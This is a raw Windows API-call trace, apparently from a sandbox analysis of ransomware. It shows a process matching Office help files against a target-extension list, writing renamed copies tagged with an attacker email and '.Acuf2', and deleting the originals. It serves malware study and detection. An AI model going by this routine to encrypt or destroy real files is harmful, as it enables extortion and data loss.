	[0265.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61
	[0265.135] lstrlenW (lpString=".jpg") returned 4
	[0265.135] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0265.136] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.136] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0265.136] GetLastError () returned 0x0
	[0265.136] ReadFile (in: hFile=0x32c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x281, lpOverlapped=0x0) returned 1
	[0265.138] WriteFile (in: hFile=0x218, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x290, lpOverlapped=0x0) returned 1
	[0265.138] ReadFile (in: hFile=0x32c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.139] WriteFile (in: hFile=0x218, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0265.139] SetEndOfFile (hFile=0x218) returned 1
	[0265.139] CloseHandle (hObject=0x218) returned 1
	[0265.139] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.139] SetEndOfFile (hFile=0x32c) returned 1
	[0265.390] CloseHandle (hObject=0x32c) returned 1
	[0265.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc")) returned 1
	[0265.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65
	[0265.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65
	[0265.802] lstrlenW (lpString=".doc") returned 4
	[0265.802] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0265.802] lstrlenW (lpString=".docx") returned 5
	[0265.802] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0265.802] lstrlenW (lpString=".pdf") returned 4
	[0265.802] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0265.802] lstrlenW (lpString=".xls") returned 4
	[0265.802] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0265.802] lstrlenW (lpString=".xlsx") returned 5
	[0265.802] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0265.802] lstrlenW (lpString=".ppt") returned 4
	[0265.802] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0265.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65
	[0265.802] lstrlenW (lpString=".zip") returned 4
	[0265.802] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0265.802] lstrlenW (lpString=".rar") returned 4
	[0265.802] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0265.802] lstrlenW (lpString=".bz2") returned 4
	[0265.802] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0265.802] lstrlenW (lpString=".7z") returned 3
	[0265.802] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0265.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65
	[0265.802] lstrlenW (lpString=".dbf") returned 4
	[0265.802] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0265.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65
	[0265.802] lstrlenW (lpString=".1cd") returned 4
	[0265.802] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0265.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65
	[0265.802] lstrlenW (lpString=".jpg") returned 4
	[0265.803] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0266.764] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.764] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0266.764] GetLastError () returned 0x0
	[0266.764] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x72, lpOverlapped=0x0) returned 1
	[0266.765] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0266.766] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0266.766] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0266.766] SetEndOfFile (hFile=0x32c) returned 1
	[0266.766] CloseHandle (hObject=0x32c) returned 1
	[0266.766] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.766] SetEndOfFile (hFile=0x358) returned 1
	[0266.768] CloseHandle (hObject=0x358) returned 1
	[0266.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk")) returned 1
	[0266.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63
	[0266.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63
	[0266.769] lstrlenW (lpString=".doc") returned 4
	[0266.769] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0266.769] lstrlenW (lpString=".docx") returned 5
	[0266.769] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0266.769] lstrlenW (lpString=".pdf") returned 4
	[0266.769] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0266.769] lstrlenW (lpString=".xls") returned 4
	[0266.769] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0266.769] lstrlenW (lpString=".xlsx") returned 5
	[0266.769] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0266.769] lstrlenW (lpString=".ppt") returned 4
	[0266.769] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0266.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63
	[0266.769] lstrlenW (lpString=".zip") returned 4
	[0266.769] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0266.769] lstrlenW (lpString=".rar") returned 4
	[0266.769] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0266.769] lstrlenW (lpString=".bz2") returned 4
	[0266.769] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0266.769] lstrlenW (lpString=".7z") returned 3
	[0266.769] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0266.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63
	[0266.769] lstrlenW (lpString=".dbf") returned 4
	[0266.769] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0266.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63
	[0266.770] lstrlenW (lpString=".1cd") returned 4
	[0266.770] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0266.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63
	[0266.770] lstrlenW (lpString=".jpg") returned 4
	[0266.770] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0266.770] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=209) returned 1
	[0266.770] CloseHandle (hObject=0x358) returned 1
	[0266.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt")) returned 0x20
	[0266.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0266.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0266.770] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.770] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0266.771] GetLastError () returned 0x0
	[0266.771] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xd1, lpOverlapped=0x0) returned 1
	[0266.772] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0266.772] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0266.772] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0266.773] SetEndOfFile (hFile=0x32c) returned 1
	[0266.773] CloseHandle (hObject=0x32c) returned 1
	[0266.773] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.773] SetEndOfFile (hFile=0x358) returned 1
	[0266.775] CloseHandle (hObject=0x358) returned 1
	[0266.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt")) returned 1
	[0266.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65
	[0266.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65
	[0266.775] lstrlenW (lpString=".doc") returned 4
	[0266.775] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0266.775] lstrlenW (lpString=".docx") returned 5
	[0266.775] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0266.775] lstrlenW (lpString=".pdf") returned 4
	[0266.776] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0266.776] lstrlenW (lpString=".xls") returned 4
	[0266.776] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0266.776] lstrlenW (lpString=".xlsx") returned 5
	[0266.776] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0266.776] lstrlenW (lpString=".ppt") returned 4
	[0266.776] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0266.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65
	[0266.776] lstrlenW (lpString=".zip") returned 4
	[0266.776] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0266.776] lstrlenW (lpString=".rar") returned 4
	[0266.776] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0266.776] lstrlenW (lpString=".bz2") returned 4
	[0266.776] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0266.776] lstrlenW (lpString=".7z") returned 3
	[0266.776] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0266.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65
	[0266.776] lstrlenW (lpString=".dbf") returned 4
	[0266.776] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0266.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65
	[0266.776] lstrlenW (lpString=".1cd") returned 4
	[0266.776] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0266.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65
	[0266.776] lstrlenW (lpString=".jpg") returned 4
	[0266.776] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0266.777] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=114) returned 1
	[0266.777] CloseHandle (hObject=0x358) returned 1
	[0266.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk")) returned 0x20
	[0266.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0266.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0266.777] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.777] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0266.778] GetLastError () returned 0x0
	[0266.778] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x72, lpOverlapped=0x0) returned 1
	[0266.779] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0266.779] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0266.779] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0266.779] SetEndOfFile (hFile=0x32c) returned 1
	[0266.779] CloseHandle (hObject=0x32c) returned 1
	[0266.780] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.780] SetEndOfFile (hFile=0x358) returned 1
	[0266.782] CloseHandle (hObject=0x358) returned 1
	[0266.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk")) returned 1
	[0266.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67
	[0266.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67
	[0266.782] lstrlenW (lpString=".doc") returned 4
	[0266.782] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0266.782] lstrlenW (lpString=".docx") returned 5
	[0266.782] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0266.782] lstrlenW (lpString=".pdf") returned 4
	[0266.782] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0266.783] lstrlenW (lpString=".xls") returned 4
	[0266.783] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0266.783] lstrlenW (lpString=".xlsx") returned 5
	[0266.783] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0266.783] lstrlenW (lpString=".ppt") returned 4
	[0266.783] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0266.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67
	[0266.783] lstrlenW (lpString=".zip") returned 4
	[0266.783] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0266.783] lstrlenW (lpString=".rar") returned 4
	[0266.783] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0266.783] lstrlenW (lpString=".bz2") returned 4
	[0266.783] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0266.783] lstrlenW (lpString=".7z") returned 3
	[0266.783] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0266.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67
	[0266.783] lstrlenW (lpString=".dbf") returned 4
	[0266.783] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0266.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67
	[0266.783] lstrlenW (lpString=".1cd") returned 4
	[0266.783] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0266.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67
	[0266.783] lstrlenW (lpString=".jpg") returned 4
	[0266.783] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0266.784] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=113) returned 1
	[0266.784] CloseHandle (hObject=0x358) returned 1
	[0266.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk")) returned 0x20
	[0266.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0266.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0266.784] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.784] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0266.784] GetLastError () returned 0x0
	[0266.784] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x71, lpOverlapped=0x0) returned 1
	[0266.785] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0266.786] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0266.786] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0266.786] SetEndOfFile (hFile=0x32c) returned 1
	[0266.786] CloseHandle (hObject=0x32c) returned 1
	[0266.786] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.786] SetEndOfFile (hFile=0x358) returned 1
	[0266.789] CloseHandle (hObject=0x358) returned 1
	[0266.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk")) returned 1
	[0266.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67
	[0266.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67
	[0266.789] lstrlenW (lpString=".doc") returned 4
	[0266.789] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0266.789] lstrlenW (lpString=".docx") returned 5
	[0266.789] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0266.789] lstrlenW (lpString=".pdf") returned 4
	[0266.789] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0266.789] lstrlenW (lpString=".xls") returned 4
	[0266.789] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0266.789] lstrlenW (lpString=".xlsx") returned 5
	[0266.789] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0266.789] lstrlenW (lpString=".ppt") returned 4
	[0266.790] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
